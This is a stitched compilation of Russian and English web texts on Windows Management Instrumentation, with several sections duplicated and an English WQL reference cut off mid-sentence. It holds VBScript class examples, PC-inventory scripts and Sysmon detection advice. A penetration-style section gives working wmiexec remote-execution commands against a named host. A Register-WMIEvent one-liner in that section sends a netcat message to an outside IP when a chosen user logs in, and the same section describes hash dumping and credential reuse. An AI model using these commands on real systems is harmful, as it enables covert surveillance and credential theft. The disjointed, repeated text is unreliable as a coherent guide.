Класс Win32_OperatingSystem
Класс Win32_OperatingSystem представляет операционную систему семейства Windows, установленную на компьютере.
Если на компьютере установлено несколько операционных систем, класс возвращают экземпляр только активной в
настоящее время операционной системы. Класс позволяет прочитать информацию о версии операционной системы,
некоторых настройках и текущем состоянии операционной системы. Приведённый ниже скрипт демострирует получение
такой информации:
Можно ли отключить постоянные события WMI?
По крайней мере, ИТ-специалисты могут быстро увидеть зарегистрированные постоянные события WMI и приступить к анализу сценариев реальных событий на наличие признаков угроз. Возможно, как опытный специалист по ИТ-безопасности, вы считаете, что не всем нужен WMI на ноутбуках и лучшая стратегия по работе с уязвимостями постоянных событий WMI — это совсем отключить WMI.
Можно попробовать отключить службу Winmgmt, которая запускает WMI. На практике это не так уж просто. В ходе моих собственных тестов я так и не смог отключить эту службу: она автоматически запускалась снова и снова.
Предположим, что вам все же удалось отключить ее. Административное программное обеспечение Windows во многом зависит от WMI и не будет работать, если Winmgmt недоступна. По всему Интернету форумы наполнены сообщениями, предостерегающими от отключения WMI. Советую к ним прислушаться и помиловать ваш WMI.
Класс Win32_BIOS
Класс Win32_BIOS предоставляет информацию об установленной на компьютере BIOS. Пример получения информации:
On Error Resume Next Set objService = GetObject("winmgmts:{impersonationLevel=impersonate}!\\.\root\CIMV2") If Err.Number <> 0 Then WScript.Echo Err.Number & ": " & Err.Description WScript.Quit End If For Each objBIOS In objService.ExecQuery("SELECT * FROM Win32_BIOS") Exit For Next 'наименование (описание) WScript.Echo objBIOS.Name WScript.Echo objBIOS.Caption WScript.Echo objBIOS.Description 'версия WScript.Echo objBIOS.SMBIOSBIOSVersion WScript.Echo objBIOS.SMBIOSMajorVersion WScript.Echo objBIOS.SMBIOSMinorVersion WScript.Echo objBIOS.Version 'производитель WScript.Echo objBIOS.Manufacturer 'язык WScript.Echo objBIOS.CurrentLanguage 'дата выпуска WScript.Echo objBIOS.ReleaseDate 'серийный номер WScript.Echo objBIOS.SerialNumber
Выявление событий WMI, представляющих угрозу, с помощью Sysmon и SIEM
В общем, вам придется принять уязвимость событий WMI как факт. К счастью, есть более эффективные способы обнаружения постоянных событий и других подозрительных операций с событиями в Windows, чем использование вышеупомянутого командлета Powershell.
Знакомьтесь, Sysmon! Я не буду вдаваться в подробности, рассказывая об этой бесплатной утилите Windows, которую можно загрузить здесь, в этой статье. Скажу лишь, что она позволяет получать очень полезную информацию для анализа в одном месте, вместо того чтобы просматривать каждый журнал событий Windows по отдельности. Пользователям Windows 7 и более поздних версий возможности Sysmon могут не понадобиться, поскольку в новых системах Windows используются более совершенные механизмы ведения стандартных журналов.
Sysmon — удобная и понятная утилита для регистрации событий от Microsoft
Sysmon назначает идентификатор события 19 созданию постоянного событию фильтра WMI (20 назначается созданию события потребителя WMI, а 21 — связыванию WMI). Если вы откроете средство просмотра событий, вы найдете журнал событий Sysmon в разделе Microsoft -> Windows -> Sysmon.
Вы не хотите открывать средство просмотра событий вручную, чтобы отслеживать постоянные события WMI, которые могут быть признаком хакерской активности. Мы знаем, как вам помочь.
Почему бы не создать фильтр постоянных событий WMI для мониторинга создания (догадались?) постоянного события WMI?
На GitHub есть небольшой проект, где вы найдете код для настройки этой операции. Вот фрагмент кода для фильтра событий WMI, который позволяет отслеживать создание… да-да, фильтра событий WMI:
$Filter = Set-WmiInstance -Namespace root\subscription -Class __EventFilter -Arguments @{
EventNamespace = 'root/subscription'
Name = '_PersistenceEvent_'
Query = 'SELECT * FROM __InstanceCreationEvent WITHIN 5 Where TargetInstance ISA "__EventConsumer"'
QueryLanguage = 'WQL'
}
Очевидно, что здесь нам понадобится помощь средств по управлению информационной безопасностью и событиями безопасности (SIEM), поскольку улики погребены в завалах журналов. Я думаю, вы понимаете, к чему все идет. Вам понадобится решение для мониторинга безопасности, объединяющее функции SIEM с анализом других угроз для обнаружения и устранения угроз, связанных с постоянными событиями WMI.
Класс Win32_Product
Класс Win32_Product предоставляет информацию об установленных с помощью Windows Installer программных
продуктах. Пример получения информации:
On Error Resume Next Set objService = GetObject("winmgmts:{impersonationLevel=impersonate}!\\.\root\CIMV2") If Err.Number <> 0 Then WScript.Echo Err.Number & ": " & Err.Description WScript.Quit End If For Each objProduct In objService.ExecQuery("SELECT * FROM Win32_Product") 'наименование (описание) WScript.Echo objProduct.Name WScript.Echo objProduct.Caption WScript.Echo objProduct.Description 'версия WScript.Echo objProduct.Version 'производитель WScript.Echo objProduct.Vendor 'серийный номер WScript.Echo objProduct.IdentifyingNumber 'дата установки WScript.Echo objProduct.InstallDate WScript.Echo objProduct.InstallDate2 'каталог установки WScript.Echo objProduct.InstallLocation 'состояние установки '-6 Bad Configuration '-2 Invalid Argument '-1 Unknown Package '1 Advertised '2 Absent '5 Installed WScript.Echo objProduct.InstallState 'путь к файлу установки MSI WScript.Echo objProduct.PackageCache WScript.Echo "****************************************" Next
Класс Win32_ClassicCOMClassSetting
Класс Win32_ClassicCOMClassSetting предоставляет информацию об установленных в системе COM-серверах. Пример
получения информации:
On Error Resume Next Set objService = GetObject("winmgmts:{impersonationLevel=impersonate}!\\.\root\CIMV2") If Err.Number <> 0 Then WScript.Echo Err.Number & ": " & Err.Description WScript.Quit End If For Each objCOM In objService.ExecQuery("SELECT * FROM Win32_ClassicCOMClassSetting") WScript.Echo objCOM.ComponentId 'GUID WScript.Echo objCOM.Caption 'краткое описание WScript.Echo objCOM.ProgID 'программный идентификатор WScript.Echo objCOM.InprocServer32 'полный путь к библиотеке DLL WScript.Echo Next
Людоговский Александр
Перейти на главную страничку сайта (список статей, файлы для скачивания)
© 2007 http://www.script-coding.com При любом использовании материалов сайта обязательна ссылка на него как на источник информации, а также сохранение целостности и авторства материалов.
Интеграция Netcat и WMI
Но каким образом сценарий возвращает горячую новость о том, что Круэлла вошла в систему на целевом компьютере?
Если вы заметили, что я использовал команды Netcat выше, можете поставить себе плюсик. Netcat — известная и универсальная утилита, позволяющая устанавливать соединения (необязательно для вредоносного ПО). С помощью нее можно выполнять обратное подключение или просто передавать сообщения по сети. Я воспользовался этой второй возможностью.
Приведенный выше сценарий отправляет сообщение Netcat в режиме ожидания и отображает надпись «Круэлла вошла в систему». Миссия выполнена.
Вы можете представить себе, как наш мошенник затем сбрасывает хеши с помощью инструмента secretsdump Impacket, взламывает хеш учетных данных Круэллы, после чего запускает wmiexec, используя разрешения Круэллы, для поиска более ценных данных.
Код Register-WmiEvent можно запустить напрямую. Обратите внимание на отображаемый идентификатор события
Выполнение запросов WMI
Самым простым способом выполнения запроса WMI является запуск WMIC в стандартной командной строке Windows. Выполните следующие действия, чтобы получить информацию о процессоре, используемом на локальном компьютере:
- Откройте командную строку
- Введите WMIC для вызова программы и нажмите клавишу Enter
- Появится окно командной строки WMIC
- В командной строке можно выполнять запросы WMI. Самый простой запрос — это просмотр информации о локальном процессоре, который можно выполнить с помощью следующей команды:
WMIC CPU
- Результаты будут отображены в командной строке
Практически все команды, которые будут рассмотрены ниже, выполняются таким образом. Однако WMI позволяет получать гораздо более подробную информацию, чем сведения о процессоре, и в том числе от удаленных компьютеров и приложений.
Архитектура инструментария управления Windows
Инструментарий WMI является частью операционной системы Windows, и он предварительно установлен на всех операционных системах, начиная с Windows 2000. WMI состоит из следующих компонентов:
- Служба WMI — это реализация системы WMI в Windows. Этот процесс отображается под именем «Инструментарий управления Windows» и является связующим звеном между поставщиками WMI, репозиторием WMI и управляющими приложениями. Данный процесс запускается автоматически при включении компьютера.
- Управляемые объекты — это любые логические или физические компоненты либо службы, которыми можно управлять с помощью WMI. К таким объектам могут относиться самые разные компоненты, поскольку WMI может получить доступ к любому параметру или объекту, к которым имеют доступ другие инструменты Windows, такие как системный монитор.
- Поставщики WMI — это объекты, которые отслеживают события и данные конкретного объекта. Существует множество различных типов поставщиков WMI как общего назначения, так и предназначенных для конкретных устройств. Многие из них предварительно встроены в систему Windows.
- Классы используются поставщиками WMI для передачи данных службам WMI. В классах содержатся события и свойства, позволяющие получать и настраивать данные. Системные классы WMI предварительно определены и начинаются с двойного подчеркивания.
- Методы, будучи привязанными к конкретным классам, позволяют выполнять действия на основе имеющихся в них данных. Например, методы можно использовать для запуска и завершения процессов на удаленных компьютерах. Доступ к методам можно получить с помощью приложений для обработки сценариев или сетевого администрирования.
- Репозиторий WMI — это база данных, в которой хранятся все статические данные, связанные с WMI. Динамические данные не хранятся в репозитории. Доступ к ним можно получить через класс поставщика WMI.
- Диспетчер объектов CMI — это система, которая находится между управляющим приложением и поставщиками WMI. Она запрашивает данные у этих поставщиков и затем передает их приложению.
- API WMI выполняет эти операции и предоставляет приложениям доступ к инфраструктуре WMI без привязки к типу используемого устройства.
- Потребитель WMI — это сущность, которая отправляет запросы объектам через диспетчер объектов. Обычно потребитель WMI является приложением для мониторинга, таким как PRTG Network Monitor, управляющим приложением или сценарием PowerShell.
Для чего используется инструментарий управления Windows
Прежде чем мы перейдем к изучению того, как WMI может использоваться инсайдерами в целях отслеживания, стоит отметить, что у него есть множество законных применений. Глобальное предназначение этой системы — свести воедино все средства управления устройствами и приложениями в корпоративных сетях. Таким образом, WMI может использоваться:
- для сбора информации о статусе локальных и удаленных компьютерных систем
- настройки параметров безопасности для удаленных компьютеров и приложений
- настройки и редактирования свойств системы
- настройки и редактирования разрешений для авторизованных пользователей и групп
- выполнения кода и сериализации объектов (своеобразный «SSH на стероидах»)
- назначения и редактирования меток дисков
- создания графика выполнения процессов
- резервного копирования репозиториев объектов
- включения и отключения регистрации ошибок
Доступ ко всем этим функциям можно получить с помощью PowerShell и WMIC — интерфейса командной строки WMI. Как видите, у WMI есть самые разные применения, и эта система позволяет отслеживать и редактировать множество разнообразных параметров в компьютерной сети.
Выполнение запросов WMI
Самым простым способом выполнения запроса WMI является запуск WMIC в стандартной командной строке Windows. Выполните следующие действия, чтобы получить информацию о процессоре, используемом на локальном компьютере:
- Откройте командную строку
- Введите WMIC для вызова программы и нажмите клавишу Enter
- Появится окно командной строки WMIC
- В командной строке можно выполнять запросы WMI. Самый простой запрос — это просмотр информации о локальном процессоре, который можно выполнить с помощью следующей команды:
WMIC CPU
- Результаты будут отображены в командной строке
Практически все команды, которые будут рассмотрены ниже, выполняются таким образом. Однако WMI позволяет получать гораздо более подробную информацию, чем сведения о процессоре, и в том числе от удаленных компьютеров и приложений.
Часто задаваемые вопросы об инструментарии управления Windows
Описанные выше методы вполне могут быть использованы для реализации системы наблюдения в вашей сети, однако у вас могли остаться некоторые вопросы о WMI. В этом разделе мы ответим на самые распространенные из них.
WMI объявлен устаревшим?
Сам WMI не устарел, но была объявлена устаревшей WMIC, что вводит многих людей в заблуждение. Для доступа к функциям, ранее обеспечиваемым WMIC, теперь используется PowerShell.
Какие порты использует WMI?
WMI использует TCP-порт 135 и ряд динамических портов: 49152-65535 (динамические порты RPC: Windows Vista, 2008 и выше), TCP 1024-65535 (динамические порты RPC: Windows NT4, Windows 2000, Windows 2003). Вы также можете настроить для WMI пользовательский диапазон портов.
WMI использует WimRM?
Данная конфигурация не является стандартной, однако вы можете использовать WMI для получения данных с помощью сценариев или приложений, использующих WinRM Scripting API, или с помощью инструмента командной строки Winrm. WinRM может использовать WMI для сбора данных о ресурсах или для управления ресурсами в операционной системе Windows.
Класс Win32_ComputerSystem
Класс Win32_ComputerSystem предоставляет некоторые сведения о программно-аппаратной конфигурации компьютера
в среде Windows. Пример получения информации:
On Error Resume Next Set objService = GetObject("winmgmts:{impersonationLevel=impersonate}!\\.\root\CIMV2") If Err.Number <> 0 Then WScript.Echo Err.Number & ": " & Err.Description WScript.Quit End If For Each objOS In objService.ExecQuery("SELECT * FROM Win32_ComputerSystem") Exit For Next 'имя компьютера WScript.Echo objOS.Caption 'домен WScript.Echo objOS.Domain 'роль компьютера в домене '0 Standalone Workstation '1 Member Workstation '2 Standalone Server '3 Member Server '4 Backup Domain Controller '5 Primary Domain Controller WScript.Echo objOS.DomainRole 'входит в домен (булево) WScript.Echo objOS.PartOfDomain 'всего физической памяти (байт) WScript.Echo objOS.TotalPhysicalMemory 'залогиненный в данный момент пользователь WScript.Echo objOS.UserName
Для чего используется инструментарий управления Windows
Прежде чем мы перейдем к изучению того, как WMI может использоваться инсайдерами в целях отслеживания, стоит отметить, что у него есть множество законных применений. Глобальное предназначение этой системы — свести воедино все средства управления устройствами и приложениями в корпоративных сетях. Таким образом, WMI может использоваться:
- для сбора информации о статусе локальных и удаленных компьютерных систем
- настройки параметров безопасности для удаленных компьютеров и приложений
- настройки и редактирования свойств системы
- настройки и редактирования разрешений для авторизованных пользователей и групп
- выполнения кода и сериализации объектов (своеобразный «SSH на стероидах»)
- назначения и редактирования меток дисков
- создания графика выполнения процессов
- резервного копирования репозиториев объектов
- включения и отключения регистрации ошибок
Доступ ко всем этим функциям можно получить с помощью PowerShell и WMIC — интерфейса командной строки WMI. Как видите, у WMI есть самые разные применения, и эта система позволяет отслеживать и редактировать множество разнообразных параметров в компьютерной сети.
Использование функциональности wmiexec из Impacket
В WMI можно выполнять разные функции, помимо управления событиями. В нем можно запускать процессы и выполнять команды в окнах Windows как на локальных, так и на удаленных компьютерах. Ради интереса попробуйте ввести команду wmic process call create ‘notepad.exe’ в сеансе PowerShell, чтобы открыть старый текстовый редактор Microsoft. При этом используется замечательный инструмент командной строки wmic, входящий в состав WMI. Здорово, правда?
Если бы я добавил параметр /Node:, а затем имя удаленного компьютера Windows, то смог бы запустить Блокнот на нем, при условии что у меня есть соответствующие разрешения. Совершенно ясно, что на практическом уровне wmic является незаменимым помощником для системных администраторов.
Прежде чем вы начнете возмущаться: я знаю, что существуют эквивалентные командлеты PowerShell. Однако я считаю, что синтаксис wmic легче запомнить.
Было бы здорово, если бы я мог с помощью WMI создать простую и незаметную псевдооболочку.
Скрытая псевдооболочка, созданная с помощью wmiexec
К моему везению, это можно сделать в Impacket. В тестовой среде Amazon я использовал свой любимый wmiexec для доступа к WMI через виртуальную машину Linux. В wmiexec предусмотрена возможность создания псевдооболочки: каждый раз, когда на стороне клиента вводится команда, на целевом компьютере создается отдельная оболочка для выполнения этой команды.
И в psexec, и в smbexec для запуска команд в удаленной системе используются службы Windows. Работа smbexec протекает незаметнее, так как он быстро создает, а затем удаляет службу, а psexec, наоборот, оставляет ее на виду.
Инструмент wmiexec напрямую запускает cmd.exe для удаленного выполнения команды. Созданную команду можно найти в средстве просмотра событий. Обратите внимание, что мы избежали привлекающих внимание служб Windows
Инструмент wmiexec абсолютно не затрагивает службы, вместо этого используя описанные выше возможности WMI для непосредственного запуска процесса. При поиске возможных источников угроз специалисты по безопасности редко начинают с WMI, в то время как службы обычно являются хорошим местом для начала поиска улик, указывающих на атаку. Хороший ход, wmiexec!
Интеграция Netcat и WMI
Но каким образом сценарий возвращает горячую новость о том, что Круэлла вошла в систему на целевом компьютере?
Если вы заметили, что я использовал команды Netcat выше, можете поставить себе плюсик. Netcat — известная и универсальная утилита, позволяющая устанавливать соединения (необязательно для вредоносного ПО). С помощью нее можно выполнять обратное подключение или просто передавать сообщения по сети. Я воспользовался этой второй возможностью.
Приведенный выше сценарий отправляет сообщение Netcat в режиме ожидания и отображает надпись «Круэлла вошла в систему». Миссия выполнена.
Вы можете представить себе, как наш мошенник затем сбрасывает хеши с помощью инструмента secretsdump Impacket, взламывает хеш учетных данных Круэллы, после чего запускает wmiexec, используя разрешения Круэллы, для поиска более ценных данных.
Код Register-WmiEvent можно запустить напрямую. Обратите внимание на отображаемый идентификатор события
Информация о компьютере
Довольно часто нужно быстро, кратко, но информативно получить информацию о стационарном компьютере или ноутбуке, без дополнительного ПО и не «вскрывая крышку».
Это можно реализовать, например, средствами командной строки ОС Windows или PowerShell.
CMD — проверенный временем функционал, который есть в любой версии Windows.
Кроме того, для простых задач администрирования cmd использовать привычнее, а где-то и удобнее.
Что лучше — CMD или PowerShell? Я не готов однозначно ответить на этот вопрос.
Впрочем, ничто не мешает нам пользоваться и тем и другим, все зависит от поставленной задачи.
Мы не будем собирать всю информацию о ПК — для этого существует множество специализированного ПО!
Реализация с помощью CMD.
Сбор информации будем осуществлять использованием переменных среды Windows и выполнением сценариев WMI.
Для вывода всех переменных окружения в Windows и их значений служит команда set.
Для получения сведений об оборудовании и системе, управления процессами и их компонентами, а также изменения настроек с использованием возможностей инструментария управления Windows (Windows Management Instrumentation или WMI) служит команда WMIC.
Подсказку по работе с утилитой wmic.exe можно получить по команде:
- wmic /? — отобразить общую справку.
- wmic /?:BRIEF — отобразить краткую справку.
- wmic /?:FULL — отобразить полную справку.
Мы будем использовать:
- BASEBOARD (управление системной платой);
- COMPUTERSYSTEM (управление компьютером);
- CPU (управление ЦП);
- DISKDRIVE (управление физическими дисками);
- MEMORYCHIP (информация о микросхемах памяти).
Скрипт содержит много циклов с FOR.
Отличительной особенностью FOR /F является умение работать через токены, а также поддержка дополнительных ключевых слов:
- skip (пропуск определенного кол-ва обрабатываемых строк от начала файла);
- delims (задать другой разделитель(-ли), по умолчанию, пробел и знак табуляции);
- tokens (количество получаемых токенов (подстрок) в теле цикла и пределы разбивки по разделителю). Также можно задать конкретный № токена, который попадет в первую переменную цикла;
- usebackq (изменение правил использования кавычек внутри IN (…)).
@echo off
:имя файла для записи информации
set fname=pcinfo.txt
:имя компьютера
Echo pcname: %computername% >>%fname%
:IP-адрес компьютера по его имени
FOR /F "usebackq tokens=2 delims=[]" %%i IN (`ping %Computername% -n 1 -4`) DO if not "%%i"=="" Set ip=%%i
Echo IP %computername%: %ip% >>%fname%
:имя активного пользователя
Echo username: %username% >>%fname%
:модель ноутбука
set cmd=wmic computersystem get model
for /f "skip=1 delims=" %%Z in ('%cmd%') do (
set _pn=%%Z
GOTO BREAK1
)
:BREAK1
echo CS Model: %_pn% >>%fname%
:процессор
SETLOCAL ENABLEDELAYEDEXPANSION
set mmr=0
for /f "skip=1 delims=" %%i in ('wmic cpu get name') do (
for /f "tokens=1-2 delims=" %%A in ("%%i") do (
set CPULbl=%%A
set /a mmr=!mmr!+1
echo CPU !mmr!: !CPULbl! >>%fname%
))
:материнская плата
set cmd=wmic baseboard get product
for /f "skip=1 delims=" %%Z in ('%cmd%') do (
set _mb=%%Z
GOTO BREAK2
)
:BREAK2
echo MB: %_mb% >>%fname%
:оперативная память
SETLOCAL ENABLEDELAYEDEXPANSION
set mmr=0
for /f "skip=1 delims=" %%i in ('WMIC MemoryChip get BankLabel^,DeviceLocator^,PartNumber^,Speed^,Capacity') do (
for /f "tokens=1-5 delims=" %%A in ("%%i") do (
set BnkLbl=%%A
set /a mmr=!mmr!+1
echo Memory !mmr!: !BnkLbl! >>%fname%
wmic MEMORYCHIP get banklabel, partnumber, capacity, speed, manufacturer
))
:диски
SETLOCAL ENABLEDELAYEDEXPANSION
set mmr=0
for /f "skip=1 delims=" %%i in ('wmic diskdrive get model^,size') do (
for /f "tokens=1-2 delims=" %%A in ("%%i") do (
set HDDLbl=%%A
set /a mmr=!mmr!+1
echo DISK !mmr!: !HDDLbl! >>%fname%
))
Реализация с помощью PowerShell.
В оболочке PowerShell, перед тем как запускать скрипт, нужно выполнить команду, разрешающую выполнение неподписанных скриптов для текущего сеанса оболочки:
Set-ExecutionPolicy RemoteSigned -Scope Process
Сбор информации будет осуществляться использованием в основном Get-WmiObject -Class win32, все просто, работа с циклами.
Мы будем использовать:
- Get-WmiObject -Class win32_processor;
- Get-WmiObject -Class win32_baseboard;
- Get-WmiObject Win32_PhysicalMemory;
- Get-PhysicalDisk;
- Get-WmiObject -Class Win32_ComputerSystem;
- Get-WmiObject Win32_NetworkAdapter;
- Win32_NetworkAdapterConfiguration.
PS C:\Users\admin> Get-WmiObject Win32_NetworkAdapter -Filter 'NetConnectionStatus=2'
ServiceName : Qcamain10x64
MACAddress : 58:00:E3:7D:87:3F
AdapterType : Ethernet 802.3
DeviceID : 1
Name : Qualcomm Atheros QCA61x4A Wireless Network Adapter
NetworkAddresses :
Speed : 144400000
Для получения параметров сети по MACAddress активной сетевой карты дополнительно считываем Win32_NetworkAdapterConfiguration.
#имя файла для записи информации
$fname = "pcinfo.txt"
$CPU = Get-WmiObject -Class win32_processor
$MB = Get-WmiObject -Class win32_baseboard
$MEM = Get-WmiObject Win32_PhysicalMemory
$DD = Get-PhysicalDisk
$pcn = Get-WmiObject -Class Win32_ComputerSystem
#имя компьютера
"pcname: "+$pcn.Name | Out-File -FilePath $fname -Append -Encoding Default
#IP-адрес компьютера по его имени
Get-WmiObject Win32_NetworkAdapter -Filter 'NetConnectionStatus=2' |
ForEach-Object {
$pcip = 1 | Select-Object IP
$config = $_.GetRelated('Win32_NetworkAdapterConfiguration')
$pcip.IP = $config | Select-Object -expand IPAddress
$pcip
}
foreach($aip in $pcip) {
"IP: "+$aip.IP | Out-File -FilePath $fname -Append -Encoding Default
}
#имя активного пользователя
"username: "+$pcn.PrimaryOwnerName | Out-File -FilePath $fname -Append -Encoding Default
#модель ноутбука
"CS Model: "+$pcn.Model | Out-File -FilePath $fname -Append -Encoding Default
#процессор
$num = 0
foreach($processor in $CPU) {
$num = $num+1
"CPU "+$num+": "+$processor.Name | Out-File -FilePath $fname -Append -Encoding Default
}
#материнская плата
"MB: "+$MB.Product | Out-File -FilePath $fname -Append -Encoding Default
#оперативная память
$num = 0
foreach($memory in $MEM) {
$num = $num+1
"MEMORY "+$num+": "+$memory.PartNumber+" "+$memory.Capacity+" "+$memory.Speed | Out-File -FilePath $fname -Append -Encoding Default
}
#диски
$num = 0
foreach($disk in $DD) {
$num = $num+1
"DISK "+$num+": "+$disk.FriendlyName+" "+$disk.Size+" "+$disk.MediaType | Out-File -FilePath $fname -Append -Encoding Default
}
Архитектура инструментария управления Windows
Инструментарий WMI является частью операционной системы Windows, и он предварительно установлен на всех операционных системах, начиная с Windows 2000. WMI состоит из следующих компонентов:
- Служба WMI — это реализация системы WMI в Windows. Этот процесс отображается под именем «Инструментарий управления Windows» и является связующим звеном между поставщиками WMI, репозиторием WMI и управляющими приложениями. Данный процесс запускается автоматически при включении компьютера.
- Управляемые объекты — это любые логические или физические компоненты либо службы, которыми можно управлять с помощью WMI. К таким объектам могут относиться самые разные компоненты, поскольку WMI может получить доступ к любому параметру или объекту, к которым имеют доступ другие инструменты Windows, такие как системный монитор.
- Поставщики WMI — это объекты, которые отслеживают события и данные конкретного объекта. Существует множество различных типов поставщиков WMI как общего назначения, так и предназначенных для конкретных устройств. Многие из них предварительно встроены в систему Windows.
- Классы используются поставщиками WMI для передачи данных службам WMI. В классах содержатся события и свойства, позволяющие получать и настраивать данные. Системные классы WMI предварительно определены и начинаются с двойного подчеркивания.
- Методы, будучи привязанными к конкретным классам, позволяют выполнять действия на основе имеющихся в них данных. Например, методы можно использовать для запуска и завершения процессов на удаленных компьютерах. Доступ к методам можно получить с помощью приложений для обработки сценариев или сетевого администрирования.
- Репозиторий WMI — это база данных, в которой хранятся все статические данные, связанные с WMI. Динамические данные не хранятся в репозитории. Доступ к ним можно получить через класс поставщика WMI.
- Диспетчер объектов CMI — это система, которая находится между управляющим приложением и поставщиками WMI. Она запрашивает данные у этих поставщиков и затем передает их приложению.
- API WMI выполняет эти операции и предоставляет приложениям доступ к инфраструктуре WMI без привязки к типу используемого устройства.
- Потребитель WMI — это сущность, которая отправляет запросы объектам через диспетчер объектов. Обычно потребитель WMI является приложением для мониторинга, таким как PRTG Network Monitor, управляющим приложением или сценарием PowerShell.
Выявление событий WMI, представляющих угрозу, с помощью Sysmon и SIEM
В общем, вам придется принять уязвимость событий WMI как факт. К счастью, есть более эффективные способы обнаружения постоянных событий и других подозрительных операций с событиями в Windows, чем использование вышеупомянутого командлета Powershell.
Знакомьтесь, Sysmon! Я не буду вдаваться в подробности, рассказывая об этой бесплатной утилите Windows, которую можно загрузить здесь, в этой статье. Скажу лишь, что она позволяет получать очень полезную информацию для анализа в одном месте, вместо того чтобы просматривать каждый журнал событий Windows по отдельности. Пользователям Windows 7 и более поздних версий возможности Sysmon могут не понадобиться, поскольку в новых системах Windows используются более совершенные механизмы ведения стандартных журналов.
Sysmon — удобная и понятная утилита для регистрации событий от Microsoft
Sysmon назначает идентификатор события 19 созданию постоянного событию фильтра WMI (20 назначается созданию события потребителя WMI, а 21 — связыванию WMI). Если вы откроете средство просмотра событий, вы найдете журнал событий Sysmon в разделе Microsoft -> Windows -> Sysmon.
Вы не хотите открывать средство просмотра событий вручную, чтобы отслеживать постоянные события WMI, которые могут быть признаком хакерской активности. Мы знаем, как вам помочь.
Почему бы не создать фильтр постоянных событий WMI для мониторинга создания (догадались?) постоянного события WMI?
На GitHub есть небольшой проект, где вы найдете код для настройки этой операции. Вот фрагмент кода для фильтра событий WMI, который позволяет отслеживать создание… да-да, фильтра событий WMI:
$Filter = Set-WmiInstance -Namespace root\subscription -Class __EventFilter -Arguments @{
EventNamespace = 'root/subscription'
Name = '_PersistenceEvent_'
Query = 'SELECT * FROM __InstanceCreationEvent WITHIN 5 Where TargetInstance ISA "__EventConsumer"'
QueryLanguage = 'WQL'
}
Очевидно, что здесь нам понадобится помощь средств по управлению информационной безопасностью и событиями безопасности (SIEM), поскольку улики погребены в завалах журналов. Я думаю, вы понимаете, к чему все идет. Вам понадобится решение для мониторинга безопасности, объединяющее функции SIEM с анализом других угроз для обнаружения и устранения угроз, связанных с постоянными событиями WMI.
Устранение недочетов в механизме наблюдения WMI
В рамках этого примера я хотел удаленно запустить (используя wmiexec) полезную программу, которая будет предупреждать меня, когда конкретный пользователь, то есть Круэлла, входит в систему. После этого я мог спокойно сбросить и взломать ее учетные данные. Это был бы самый незаметный способ — удаленный доступ и никаких файлов. Единственная проблема, как мне поначалу казалось, заключалась во временном характере событий WMI.
Поэтому мне нужно было заключить мое непристойно длинное Register-WMIEvent (ниже) в командную строку PowerShell с параметром –noexit, обеспечивающим сохранение сеанса PowerShell после выполнения Register-Event, а значит, и сохранение события.
Register-WMIEvent -Query "Select TargetInstance From __InstanceCreationEvent WITHIN 10 WHERE TargetInstance ISA 'win32_LogOnSession' AND TargetInstance.LogonType=3" -Action {$names=gwmi Win32_Process|% { $_.GetOwner().User};foreach ($user in $names){if ($user -eq "cruella") {echo "cruella logged in"| C:\Users\lex\Documents\nc.exe 172.31.19.75 80}}}
Когда я начал работать над этим, я понял, что должен «преобразовать» специальные символы, такие как $, “ и |, и передавать их как литералы непосредственно в PowerShell. Еще одна головная боль: мне в итоге пришлось отказаться от использования вертикальных линий, поскольку они вызывали ошибки анализа. Не спрашивайте. Постепенно я пришел к этой длинной строке кода:
$command="powershell -noexit -C Register-WMIEvent -Query ""Select TargetInstance From __InstanceCreationEvent WITHIN 10 WHERE TargetInstance ISA 'win32_LogOnSession' AND TargetInstance.LogonType=3"" -Action {`$names = gwmi Win32_Process; `$users=@(); foreach (`$n in `$names) {`$users += `$n.GetOwner().User}; foreach (`$u in `$users) {if (`$u -eq ""cruella"") {.\wmiexec C:\Users\lex\Documents\nc.exe 172.31.18.92 80 }}}
.\wmiexec.exe corp.acme/lex@172.31.46.115 "$command"
Она выглядела многообещающе и, казалось, работала правильно, если верить журналу событий Windows в целевой системе. Однако, присмотревшись, я понял, что она не работает. Я уверен, что в итоге смог бы привести ее в нужный вид, но для этого мне потребовалось бы время и кофе, много кофе. Есть и другой вариант, чуть менее незаметный и совсем не бесфайловый: можно использовать smbclient для переноса сценария, а затем запустить его напрямую на целевом компьютере.
Удаленное выполнение сложного командлета Register-Event казалось мне абсолютно правильным. Но оно не работало. Ну и ладно
Увы, на этом этапе мои предположения о том, что сообразительный, но не слишком опытный инсайдер мог бы легко использовать временные события WMI для скрытого наблюдения, стали потихоньку разваливаться.
Object Queries
Object queries are used to get information about system resources.
* Win32_Process
WMI namespace: Root\Cimv2
.
This is probably the WQL query most often found in various WMI articles and textbooks. It simply gets all the instances of a WMI class named Win32_Process
which represents Windows processes. If you are interested in the properties of Win32_Process
, see here.
* Win32_Process ProcessId =
WMI namespace: Root\Cimv2
.
If you don’t really want all Windows processes, you can qualify your query using the WHERE
clause. This clause looks like this:
PropertyName Operator PropertyValue
where Operator
is one of the WQL relational operators. The above query will return Win32_Process
instances with process ID equals to 608.
* Win32_Process Priority >
WMI namespace: Root\Cimv2
.
One of the WQL relational operator is ‘>’ (greater than). The above query returns all Win32_Process
instances with Priority
greater than 8.
* Win32_Process WriteOperationCount <
WMI namespace: Root\Cimv2
.
This query returns all Win32_Process
instances where the WriteOperationCount
is less than 1000.
* Win32_Process ParentProcessId <> * Win32_Process ParentProcessId != * Win32_Process ParentProcessId =
WMI namespace: Root\Cimv2
.
All three queries return Win32_Process
instances where ParentProcessId
is not equal to 884.
* Win32_Service
WMI namespace: Root\Cimv2
.
Another commonly seen query that retrieves all information about Windows Services. See here for details about the Win32_Service
class. Note that this query returns all class instances. Sometimes this is just what you want, other times it is not, and yet other times, this is something you should definitely avoid.
* Win32_Service Name =
WMI namespace: Root\Cimv2
.
Here is an improved query – it returns only Win32_Service
instances that have the Name
property equal to “MSSQL$SQLEXPRESS
”. It happens that Name
is the key property for the Win32_Service
class, so the returned WMI object collection will have 0 or 1 item, but in general, if you qualify a query with a WMI class property value, you get all class instances where the property matches the entered value.
* Win32_Service
DisplayName = Plug and Play"
WMI namespace: Root\Cimv2
.
Here is a caveat. If you are familiar with Windows services, you know that you can access service information using Services.msc (Start->Run-> Services.msc). When you open that applet, the text in the Name column is not equal to the Win32_Service.Name
value. It is equal to the Win32_Service.DisplayName
property value, so if you want to get services by their Services Control Panel applet name, use the above query.
* Win32_Service PathName =
WMI namespace: Root\Cimv2
.
Here is another caveat. If a property value contains backslashes, you need to escape them by putting another backslash before (or after) each of them – otherwise, you get the ‘Invalid query’ error.
* Win32_Service Name
WMI namespace: Root\Cimv2
.
What if you don’t know the exact service name (or display name)? This is where the LIKE
